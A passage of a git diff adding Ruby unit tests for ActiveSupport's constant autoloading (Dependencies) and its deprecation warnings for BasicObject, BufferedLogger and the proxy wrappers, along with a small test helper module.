+ end
+
+ def test_module_with_nested_inline_class
+ with_autoloading_fixtures do
+ assert_kind_of Class, ModuleFolder::InlineClass
+ Object.__send__ :remove_const, :ModuleFolder
+ end
+ end
+
+ def test_directories_may_manifest_as_nested_classes
+ with_autoloading_fixtures do
+ assert_kind_of Class, ClassFolder
+ Object.__send__ :remove_const, :ClassFolder
+ end
+ end
+
+ def test_class_with_nested_class
+ with_autoloading_fixtures do
+ assert_kind_of Class, ClassFolder::NestedClass
+ Object.__send__ :remove_const, :ClassFolder
+ end
+ end
+
+ def test_class_with_nested_inline_class
+ with_autoloading_fixtures do
+ assert_kind_of Class, ClassFolder::InlineClass
+ Object.__send__ :remove_const, :ClassFolder
+ end
+ end
+
+ def test_class_with_nested_inline_subclass_of_parent
+ with_autoloading_fixtures do
+ assert_kind_of Class, ClassFolder::ClassFolderSubclass
+ assert_kind_of Class, ClassFolder
+ assert_equal 'indeed', ClassFolder::ClassFolderSubclass::ConstantInClassFolder
+ Object.__send__ :remove_const, :ClassFolder
+ end
+ end
+
+ def test_nested_class_can_access_sibling
+ with_autoloading_fixtures do
+ sibling = ModuleFolder::NestedClass.class_eval "NestedSibling"
+ assert defined?(ModuleFolder::NestedSibling)
+ assert_equal ModuleFolder::NestedSibling, sibling
+ Object.__send__ :remove_const, :ModuleFolder
+ end
+ end
+
+ def test_doesnt_break_normal_require
+ path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+ original_path = $:.dup
+ original_features = $".dup
+ $:.push(path)
+
+ with_autoloading_fixtures do
+ # The _ = assignments are to prevent warnings
+ _ = RequiresConstant
+ assert defined?(RequiresConstant)
+ assert defined?(LoadedConstant)
+ ActiveSupport::Dependencies.clear
+ _ = RequiresConstant
+ assert defined?(RequiresConstant)
+ assert defined?(LoadedConstant)
+ end
+ ensure
+ remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
+ $".replace(original_features)
+ $:.replace(original_path)
+ end
+
+ def test_doesnt_break_normal_require_nested
+ path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+ original_path = $:.dup
+ original_features = $".dup
+ $:.push(path)
+
+ with_autoloading_fixtures do
+ # The _ = assignments are to prevent warnings
+ _ = LoadsConstant
+ assert defined?(LoadsConstant)
+ assert defined?(LoadedConstant)
+ ActiveSupport::Dependencies.clear
+ _ = LoadsConstant
+ assert defined?(LoadsConstant)
+ assert defined?(LoadedConstant)
+ end
+ ensure
+ remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
+ $".replace(original_features)
+ $:.replace(original_path)
+ end
+
+ def test_require_returns_true_when_file_not_yet_required
+ path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+ original_path = $:.dup
+ original_features = $".dup
+ $:.push(path)
+
+ with_loading do
+ assert_equal true, require('loaded_constant')
+ end
+ ensure
+ remove_constants(:LoadedConstant)
+ $".replace(original_features)
+ $:.replace(original_path)
+ end
+
+ def test_require_returns_true_when_file_not_yet_required_even_when_no_new_constants_added
+ path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+ original_path = $:.dup
+ original_features = $".dup
+ $:.push(path)
+
+ with_loading do
+ Object.module_eval "module LoadedConstant; end"
+ assert_equal true, require('loaded_constant')
+ end
+ ensure
+ remove_constants(:LoadedConstant)
+ $".replace(original_features)
+ $:.replace(original_path)
+ end
+
+ def test_require_returns_false_when_file_already_required
+ path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+ original_path = $:.dup
+ original_features = $".dup
+ $:.push(path)
+
+ with_loading do
+ require 'loaded_constant'
+ assert_equal false, require('loaded_constant')
+ end
+ ensure
+ remove_constants(:LoadedConstant)
+ $".replace(original_features)
+ $:.replace(original_path)
+ end
+
+ def test_require_raises_load_error_when_file_not_found
+ with_loading do
+ assert_raise(LoadError) { require 'this_file_dont_exist_dude' }
+ end
+ ensure
+ remove_constants(:LoadedConstant)
+ end
+
+ def test_load_returns_true_when_file_found
+ path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+ original_path = $:.dup
+ original_features = $".dup
+ $:.push(path)
+
+ with_loading do
+ assert_equal true, load('loaded_constant.rb')
+ assert_equal true, load('loaded_constant.rb')
+ end
+ ensure
+ remove_constants(:LoadedConstant)
+ $".replace(original_features)
+ $:.replace(original_path)
+ end
+
+ def test_load_raises_load_error_when_file_not_found
+ with_loading do
+ assert_raise(LoadError) { load 'this_file_dont_exist_dude.rb' }
+ end
+ ensure
+ remove_constants(:LoadedConstant)
+ end
+
+ def failing_test_access_thru_and_upwards_fails
+ with_autoloading_fixtures do
+ assert ! defined?(ModuleFolder)
+ assert_raise(NameError) { ModuleFolder::Object }
+ assert_raise(NameError) { ModuleFolder::NestedClass::Object }
+ Object.__send__ :remove_const, :ModuleFolder
+ end
+ end
+
+ def test_non_existing_const_raises_name_error_with_fully_qualified_name
+ with_autoloading_fixtures do
+ begin
+ A::DoesNotExist.nil?
+ flunk "No raise!!"
+ rescue NameError => e
+ assert_equal "uninitialized constant A::DoesNotExist", e.message
+ end
+ begin
+ A::B::DoesNotExist.nil?
+ flunk "No raise!!"
+ rescue NameError => e
+ assert_equal "uninitialized constant A::B::DoesNotExist", e.message
+ end
+ end
+ end
+
+ def test_smart_name_error_strings
+ Object.module_eval "ImaginaryObject"
+ flunk "No raise!!"
+ rescue NameError => e
+ assert e.message.include?("uninitialized constant ImaginaryObject")
+ end
+
+ def test_loadable_constants_for_path_should_handle_empty_autoloads
+ assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path('hello')
+ end
+
+ def test_loadable_constants_for_path_should_handle_relative_paths
+ fake_root = 'dependencies'
+ relative_root = File.dirname(__FILE__) + '/dependencies'
+ ['', '/'].each do |suffix|
+ with_loading fake_root + suffix do
+ assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(relative_root + '/a/b')
+ end
+ end
+ end
+
+ def test_loadable_constants_for_path_should_provide_all_results
+ fake_root = '/usr/apps/backpack'
+ with_loading fake_root, fake_root + '/lib' do
+ root = ActiveSupport::Dependencies.autoload_paths.first
+ assert_equal ["Lib::A::B", "A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + '/lib/a/b')
+ end
+ end
+
+ def test_loadable_constants_for_path_should_uniq_results
+ fake_root = '/usr/apps/backpack/lib'
+ with_loading fake_root, fake_root + '/' do
+ root = ActiveSupport::Dependencies.autoload_paths.first
+ assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + '/a/b')
+ end
+ end
+
+ def test_loadable_constants_with_load_path_without_trailing_slash
+ path = File.dirname(__FILE__) + '/autoloading_fixtures/class_folder/inline_class.rb'
+ with_loading 'autoloading_fixtures/class/' do
+ assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path(path)
+ end
+ end
+
+ def test_qualified_const_defined
+ assert ActiveSupport::Dependencies.qualified_const_defined?("Object")
+ assert ActiveSupport::Dependencies.qualified_const_defined?("::Object")
+ assert ActiveSupport::Dependencies.qualified_const_defined?("::Object::Kernel")
+ assert ActiveSupport::Dependencies.qualified_const_defined?("::ActiveSupport::TestCase")
+ end
+
+ def test_qualified_const_defined_should_not_call_const_missing
+ ModuleWithMissing.missing_count = 0
+ assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A")
+ assert_equal 0, ModuleWithMissing.missing_count
+ assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A::B")
+ assert_equal 0, ModuleWithMissing.missing_count
+ end
+
+ def test_qualified_const_defined_explodes_with_invalid_const_name
+ assert_raises(NameError) { ActiveSupport::Dependencies.qualified_const_defined?("invalid") }
+ end
+
+ def test_autoloaded?
+ with_autoloading_fixtures do
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+
+ assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+ assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+
+ assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+
+ assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+
+ assert ActiveSupport::Dependencies.autoloaded?("::ModuleFolder")
+ assert ActiveSupport::Dependencies.autoloaded?(:ModuleFolder)
+
+ # Anonymous modules aren't autoloaded.
+ assert !ActiveSupport::Dependencies.autoloaded?(Module.new)
+
+ nil_name = Module.new
+ def nil_name.name() nil end
+ assert !ActiveSupport::Dependencies.autoloaded?(nil_name)
+
+ Object.class_eval { remove_const :ModuleFolder }
+ end
+ end
+
+ def test_qualified_name_for
+ assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(Object, :A)
+ assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(:Object, :A)
+ assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("Object", :A)
+ assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("::Object", :A)
+
+ assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(:'ActiveSupport::Dependencies', :A)
+ assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(ActiveSupport::Dependencies, :A)
+ end
+
+ def test_file_search
+ with_loading 'dependencies' do
+ root = ActiveSupport::Dependencies.autoload_paths.first
+ assert_equal nil, ActiveSupport::Dependencies.search_for_file('service_three')
+ assert_equal nil, ActiveSupport::Dependencies.search_for_file('service_three.rb')
+ assert_equal root + '/service_one.rb', ActiveSupport::Dependencies.search_for_file('service_one')
+ assert_equal root + '/service_one.rb', ActiveSupport::Dependencies.search_for_file('service_one.rb')
+ end
+ end
+
+ def test_file_search_uses_first_in_load_path
+ with_loading 'dependencies', 'autoloading_fixtures' do
+ deps, autoload = ActiveSupport::Dependencies.autoload_paths
+ assert_match %r/dependencies/, deps
+ assert_match %r/autoloading_fixtures/, autoload
+
+ assert_equal deps + '/conflict.rb', ActiveSupport::Dependencies.search_for_file('conflict')
+ end
+ with_loading 'autoloading_fixtures', 'dependencies' do
+ autoload, deps = ActiveSupport::Dependencies.autoload_paths
+ assert_match %r/dependencies/, deps
+ assert_match %r/autoloading_fixtures/, autoload
+
+ assert_equal autoload + '/conflict.rb', ActiveSupport::Dependencies.search_for_file('conflict')
+ end
+
+ end
+
+ def test_custom_const_missing_should_work
+ Object.module_eval <<-end_eval, __FILE__, __LINE__ + 1
+ module ModuleWithCustomConstMissing
+ def self.const_missing(name)
+ const_set name, name.to_s.hash
+ end
+
+ module A
+ end
+ end
+ end_eval
+
+ with_autoloading_fixtures do
+ assert_kind_of Integer, ::ModuleWithCustomConstMissing::B
+ assert_kind_of Module, ::ModuleWithCustomConstMissing::A
+ assert_kind_of String, ::ModuleWithCustomConstMissing::A::B
+ end
+ end
+
+ def test_const_missing_should_not_double_load
+ $counting_loaded_times = 0
+ with_autoloading_fixtures do
+ require_dependency '././counting_loader'
+ assert_equal 1, $counting_loaded_times
+ assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
+ assert_equal 1, $counting_loaded_times
+ end
+ end
+
+ def test_const_missing_within_anonymous_module
+ $counting_loaded_times = 0
+ m = Module.new
+ m.module_eval "def a() CountingLoader; end"
+ extend m
+ kls = nil
+ with_autoloading_fixtures do
+ kls = nil
+ assert_nothing_raised { kls = a }
+ assert_equal "CountingLoader", kls.name
+ assert_equal 1, $counting_loaded_times
+
+ assert_nothing_raised { kls = a }
+ assert_equal 1, $counting_loaded_times
+ end
+ end
+
+ def test_removal_from_tree_should_be_detected
+ with_loading 'dependencies' do
+ c = ServiceOne
+ ActiveSupport::Dependencies.clear
+ assert ! defined?(ServiceOne)
+ begin
+ ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
+ flunk "Expected exception"
+ rescue ArgumentError => e
+ assert_match %r{ServiceOne has been removed from the module tree}i, e.message
+ end
+ end
+ end
+
+ def test_references_should_work
+ with_loading 'dependencies' do
+ c = ActiveSupport::Dependencies.reference("ServiceOne")
+ service_one_first = ServiceOne
+ assert_equal service_one_first, c.get("ServiceOne")
+ ActiveSupport::Dependencies.clear
+ assert ! defined?(ServiceOne)
+
+ service_one_second = ServiceOne
+ assert_not_equal service_one_first, c.get("ServiceOne")
+ assert_equal service_one_second, c.get("ServiceOne")
+ end
+ end
+
+ def test_constantize_shortcut_for_cached_constant_lookups
+ with_loading 'dependencies' do
+ assert_equal ServiceOne, ActiveSupport::Dependencies.constantize("ServiceOne")
+ end
+ end
+
+ def test_nested_load_error_isnt_rescued
+ with_loading 'dependencies' do
+ assert_raise(MissingSourceFile) do
+ RequiresNonexistent1
+ end
+ end
+ end
+
+ def test_autoload_once_paths_do_not_add_to_autoloaded_constants
+ with_autoloading_fixtures do
+ ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths.dup
+
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+ assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+ 1 if ModuleFolder::NestedClass # 1 if to avoid warning
+ assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+ end
+ ensure
+ Object.class_eval { remove_const :ModuleFolder }
+ ActiveSupport::Dependencies.autoload_once_paths = []
+ end
+
+ def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants
+ with_autoloading_fixtures do
+ pathnames = ActiveSupport::Dependencies.autoload_paths.collect{|p| Pathname.new(p)}
+ ActiveSupport::Dependencies.autoload_paths = pathnames
+ ActiveSupport::Dependencies.autoload_once_paths = pathnames
+
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+ assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+ 1 if ModuleFolder::NestedClass # 1 if to avoid warning
+ assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+ end
+ ensure
+ Object.class_eval { remove_const :ModuleFolder }
+ ActiveSupport::Dependencies.autoload_once_paths = []
+ end
+
+ def test_application_should_special_case_application_controller
+ with_autoloading_fixtures do
+ require_dependency 'application'
+ assert_equal 10, ApplicationController
+ assert ActiveSupport::Dependencies.autoloaded?(:ApplicationController)
+ end
+ end
+
+ def test_preexisting_constants_are_not_marked_as_autoloaded
+ with_autoloading_fixtures do
+ require_dependency 'e'
+ assert ActiveSupport::Dependencies.autoloaded?(:E)
+ ActiveSupport::Dependencies.clear
+ end
+
+ Object.const_set :E, Class.new
+ with_autoloading_fixtures do
+ require_dependency 'e'
+ assert ! ActiveSupport::Dependencies.autoloaded?(:E), "E shouldn't be marked autoloaded!"
+ ActiveSupport::Dependencies.clear
+ end
+
+ ensure
+ Object.class_eval { remove_const :E }
+ end
+
+ def test_unloadable
+ with_autoloading_fixtures do
+ Object.const_set :M, Module.new
+ M.unloadable
+
+ ActiveSupport::Dependencies.clear
+ assert ! defined?(M)
+
+ Object.const_set :M, Module.new
+ ActiveSupport::Dependencies.clear
+ assert ! defined?(M), "Dependencies should unload unloadable constants each time"
+ end
+ end
+
+ def test_unloadable_should_fail_with_anonymous_modules
+ with_autoloading_fixtures do
+ m = Module.new
+ assert_raise(ArgumentError) { m.unloadable }
+ end
+ end
+
+ def test_unloadable_should_return_change_flag
+ with_autoloading_fixtures do
+ Object.const_set :M, Module.new
+ assert_equal true, M.unloadable
+ assert_equal false, M.unloadable
+ end
+ ensure
+ Object.class_eval { remove_const :M }
+ end
+
+ def test_unloadable_constants_should_receive_callback
+ Object.const_set :C, Class.new
+ C.unloadable
+ C.expects(:before_remove_const).once
+ assert C.respond_to?(:before_remove_const)
+ ActiveSupport::Dependencies.clear
+ assert !defined?(C)
+ ensure
+ Object.class_eval { remove_const :C } if defined?(C)
+ end
+
+ def test_new_contants_in_without_constants
+ assert_equal [], (ActiveSupport::Dependencies.new_constants_in(Object) { })
+ assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
+ end
+
+ def test_new_constants_in_with_a_single_constant
+ assert_equal ["Hello"], ActiveSupport::Dependencies.new_constants_in(Object) {
+ Object.const_set :Hello, 10
+ }.map(&:to_s)
+ assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
+ ensure
+ Object.class_eval { remove_const :Hello }
+ end
+
+ def test_new_constants_in_with_nesting
+ outer = ActiveSupport::Dependencies.new_constants_in(Object) do
+ Object.const_set :OuterBefore, 10
+
+ assert_equal ["Inner"], ActiveSupport::Dependencies.new_constants_in(Object) {
+ Object.const_set :Inner, 20
+ }.map(&:to_s)
+
+ Object.const_set :OuterAfter, 30
+ end
+
+ assert_equal ["OuterAfter", "OuterBefore"], outer.sort.map(&:to_s)
+ assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
+ ensure
+ %w(OuterBefore Inner OuterAfter).each do |name|
+ Object.class_eval { remove_const name if const_defined?(name) }
+ end
+ end
+
+ def test_new_constants_in_module
+ Object.const_set :M, Module.new
+
+ outer = ActiveSupport::Dependencies.new_constants_in(M) do
+ M.const_set :OuterBefore, 10
+
+ inner = ActiveSupport::Dependencies.new_constants_in(M) do
+ M.const_set :Inner, 20
+ end
+ assert_equal ["M::Inner"], inner
+
+ M.const_set :OuterAfter, 30
+ end
+ assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
+ assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
+ ensure
+ Object.class_eval { remove_const :M }
+ end
+
+ def test_new_constants_in_module_using_name
+ outer = ActiveSupport::Dependencies.new_constants_in(:M) do
+ Object.const_set :M, Module.new
+ M.const_set :OuterBefore, 10
+
+ inner = ActiveSupport::Dependencies.new_constants_in(:M) do
+ M.const_set :Inner, 20
+ end
+ assert_equal ["M::Inner"], inner
+
+ M.const_set :OuterAfter, 30
+ end
+ assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
+ assert ActiveSupport::Dependencies.constant_watch_stack.all? {|k,v| v.empty? }
+ ensure
+ Object.class_eval { remove_const :M }
+ end
+
+ def test_new_constants_in_with_inherited_constants
+ m = ActiveSupport::Dependencies.new_constants_in(:Object) do
+ Object.class_eval { include ModuleWithConstant }
+ end
+ assert_equal [], m
+ end
+
+ def test_new_constants_in_with_illegal_module_name_raises_correct_error
+ assert_raise(NameError) do
+ ActiveSupport::Dependencies.new_constants_in("Illegal-Name") {}
+ end
+ end
+
+ def test_file_with_multiple_constants_and_require_dependency
+ with_autoloading_fixtures do
+ assert ! defined?(MultipleConstantFile)
+ assert ! defined?(SiblingConstant)
+
+ require_dependency 'multiple_constant_file'
+ assert defined?(MultipleConstantFile)
+ assert defined?(SiblingConstant)
+ assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
+ assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
+
+ ActiveSupport::Dependencies.clear
+
+ assert ! defined?(MultipleConstantFile)
+ assert ! defined?(SiblingConstant)
+ end
+ end
+
+ def test_file_with_multiple_constants_and_auto_loading
+ with_autoloading_fixtures do
+ assert ! defined?(MultipleConstantFile)
+ assert ! defined?(SiblingConstant)
+
+ assert_equal 10, MultipleConstantFile
+
+ assert defined?(MultipleConstantFile)
+ assert defined?(SiblingConstant)
+ assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
+ assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
+
+ ActiveSupport::Dependencies.clear
+
+ assert ! defined?(MultipleConstantFile)
+ assert ! defined?(SiblingConstant)
+ end
+ end
+
+ def test_nested_file_with_multiple_constants_and_require_dependency
+ with_autoloading_fixtures do
+ assert ! defined?(ClassFolder::NestedClass)
+ assert ! defined?(ClassFolder::SiblingClass)
+
+ require_dependency 'class_folder/nested_class'
+
+ assert defined?(ClassFolder::NestedClass)
+ assert defined?(ClassFolder::SiblingClass)
+ assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
+ assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
+
+ ActiveSupport::Dependencies.clear
+
+ assert ! defined?(ClassFolder::NestedClass)
+ assert ! defined?(ClassFolder::SiblingClass)
+ end
+ end
+
+ def test_nested_file_with_multiple_constants_and_auto_loading
+ with_autoloading_fixtures do
+ assert ! defined?(ClassFolder::NestedClass)
+ assert ! defined?(ClassFolder::SiblingClass)
+
+ assert_kind_of Class, ClassFolder::NestedClass
+
+ assert defined?(ClassFolder::NestedClass)
+ assert defined?(ClassFolder::SiblingClass)
+ assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
+ assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
+
+ ActiveSupport::Dependencies.clear
+
+ assert ! defined?(ClassFolder::NestedClass)
+ assert ! defined?(ClassFolder::SiblingClass)
+ end
+ end
+
+ def test_autoload_doesnt_shadow_no_method_error_with_relative_constant
+ with_autoloading_fixtures do
+ assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
+ 2.times do
+ assert_raise(NoMethodError) { RaisesNoMethodError }
+ assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
+ end
+ end
+
+ ensure
+ Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+ end
+
+ def test_autoload_doesnt_shadow_no_method_error_with_absolute_constant
+ with_autoloading_fixtures do
+ assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
+ 2.times do
+ assert_raise(NoMethodError) { ::RaisesNoMethodError }
+ assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
+ end
+ end
+
+ ensure
+ Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+ end
+
+ def test_autoload_doesnt_shadow_error_when_mechanism_not_set_to_load
+ with_autoloading_fixtures do
+ ActiveSupport::Dependencies.mechanism = :require
+ 2.times do
+ assert_raise(NameError) { assert_equal 123, ::RaisesNameError::FooBarBaz }
+ end
+ end
+ end
+
+ def test_autoload_doesnt_shadow_name_error
+ with_autoloading_fixtures do
+ Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
+ 2.times do
+ begin
+ ::RaisesNameError::FooBarBaz.object_id
+ flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
+ rescue NameError => e
+ assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
+ end
+ assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
+ end
+
+ assert !defined?(::RaisesNameError)
+ 2.times do
+ assert_raise(NameError) { ::RaisesNameError }
+ assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
+ end
+ end
+
+ ensure
+ Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
+ end
+
+ def test_remove_constant_handles_double_colon_at_start
+ Object.const_set 'DeleteMe', Module.new
+ DeleteMe.const_set 'OrMe', Module.new
+ ActiveSupport::Dependencies.remove_constant "::DeleteMe::OrMe"
+ assert ! defined?(DeleteMe::OrMe)
+ assert defined?(DeleteMe)
+ ActiveSupport::Dependencies.remove_constant "::DeleteMe"
+ assert ! defined?(DeleteMe)
+ end
+
+ def test_remove_constant_does_not_trigger_loading_autoloads
+ constant = 'ShouldNotBeAutoloaded'
+ Object.class_eval do
+ autoload constant, File.expand_path('../autoloading_fixtures/should_not_be_required', __FILE__)
+ end
+
+ assert_nil ActiveSupport::Dependencies.remove_constant(constant), "Kernel#autoload has been triggered by remove_constant"
+ assert !defined?(ShouldNotBeAutoloaded)
+ end
+
+ def test_remove_constant_does_not_autoload_already_removed_parents_as_a_side_effect
+ with_autoloading_fixtures do
+ _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
+ _ = ::A::B # assignment to silence parse-time warning "possibly useless use of :: in void context"
+ ActiveSupport::Dependencies.remove_constant('A')
+ ActiveSupport::Dependencies.remove_constant('A::B')
+ assert !defined?(A)
+ end
+ end
+
+ def test_load_once_constants_should_not_be_unloaded
+ with_autoloading_fixtures do
+ ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths
+ _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
+ assert defined?(A)
+ ActiveSupport::Dependencies.clear
+ assert defined?(A)
+ end
+ ensure
+ ActiveSupport::Dependencies.autoload_once_paths = []
+ Object.class_eval { remove_const :A if const_defined?(:A) }
+ end
+
+ def test_autoload_once_paths_should_behave_when_recursively_loading
+ with_loading 'dependencies', 'autoloading_fixtures' do
+ ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
+ assert !defined?(CrossSiteDependency)
+ assert_nothing_raised { CrossSiteDepender.nil? }
+ assert defined?(CrossSiteDependency)
+ assert !ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
+ "CrossSiteDependency shouldn't be marked as autoloaded!"
+ ActiveSupport::Dependencies.clear
+ assert defined?(CrossSiteDependency),
+ "CrossSiteDependency shouldn't have been unloaded!"
+ end
+ ensure
+ ActiveSupport::Dependencies.autoload_once_paths = []
+ end
+
+ def test_hook_called_multiple_times
+ assert_nothing_raised { ActiveSupport::Dependencies.hook! }
+ end
+
+ def test_unhook
+ ActiveSupport::Dependencies.unhook!
+ assert !Module.new.respond_to?(:const_missing_without_dependencies)
+ assert !Module.new.respond_to?(:load_without_new_constant_marking)
+ ensure
+ ActiveSupport::Dependencies.hook!
+ end
+
+private
+ def remove_constants(*constants)
+ constants.each do |constant|
+ Object.send(:remove_const, constant) if Object.const_defined?(constant)
+ end
+ end
+end
diff --git a/activesupport/test/dependencies_test_helpers.rb b/activesupport/test/dependencies_test_helpers.rb
new file mode 100644
index 0000000..9268512
--- /dev/null
+++ b/activesupport/test/dependencies_test_helpers.rb
@@ -0,0 +1,27 @@
+module DependenciesTestHelpers
+ def with_loading(*from)
+ old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load
+ this_dir = File.dirname(__FILE__)
+ parent_dir = File.dirname(this_dir)
+ path_copy = $LOAD_PATH.dup
+ $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir)
+ prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths
+ ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" }
+ yield
+ ensure
+ $LOAD_PATH.replace(path_copy)
+ ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
+ ActiveSupport::Dependencies.mechanism = old_mechanism
+ ActiveSupport::Dependencies.explicitly_unloadable_constants = []
+ end
+
+ def with_autoloading_fixtures(&block)
+ with_loading 'autoloading_fixtures', &block
+ end
+
+ def remove_constants(*constants)
+ constants.each do |constant|
+ Object.send(:remove_const, constant) if Object.const_defined?(constant)
+ end
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/deprecation/basic_object_test.rb b/activesupport/test/deprecation/basic_object_test.rb
new file mode 100644
index 0000000..4b5bed9
--- /dev/null
+++ b/activesupport/test/deprecation/basic_object_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+require 'active_support/deprecation'
+require 'active_support/basic_object'
+
+
+class BasicObjectTest < ActiveSupport::TestCase
+ test 'BasicObject warns about deprecation when inherited from' do
+ warn = 'ActiveSupport::BasicObject is deprecated! Use ActiveSupport::ProxyObject instead.'
+ ActiveSupport::Deprecation.expects(:warn).with(warn).once
+ Class.new(ActiveSupport::BasicObject)
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/deprecation/buffered_logger_test.rb b/activesupport/test/deprecation/buffered_logger_test.rb
new file mode 100644
index 0000000..bf11a47
--- /dev/null
+++ b/activesupport/test/deprecation/buffered_logger_test.rb
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+require 'active_support/buffered_logger'
+
+class BufferedLoggerTest < ActiveSupport::TestCase
+
+ def test_can_be_subclassed
+ warn = 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
+
+ ActiveSupport::Deprecation.expects(:warn).with(warn).once
+
+ Class.new(ActiveSupport::BufferedLogger)
+ end
+
+ def test_issues_deprecation_when_instantiated
+ warn = 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
+
+ ActiveSupport::Deprecation.expects(:warn).with(warn).once
+
+ ActiveSupport::BufferedLogger.new(STDOUT)
+ end
+
+end
diff --git a/activesupport/test/deprecation/proxy_wrappers_test.rb b/activesupport/test/deprecation/proxy_wrappers_test.rb
new file mode 100644
index 0000000..e4f0f0f
--- /dev/null
+++ b/activesupport/test/deprecation/proxy_wrappers_test.rb
@@ -0,0 +1,22 @@
+require 'abstract_unit'
+require 'active_support/deprecation'
+
+class ProxyWrappersTest < ActiveSupport::TestCase
+ Waffles = false
+ NewWaffles = :hamburgers
+
+ def test_deprecated_object_proxy_doesnt_wrap_falsy_objects
+ proxy = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(nil, "message")
+ assert !proxy
+ end
+
+ def test_deprecated_instance_variable_proxy_doesnt_wrap_falsy_objects
+ proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(nil, :waffles)
+ assert !proxy
+ end
+
+ def test_deprecated_constant_proxy_doesnt_wrap_falsy_objects
+ proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(Waffles, NewWaffles)
+ assert !proxy
+ end
+end
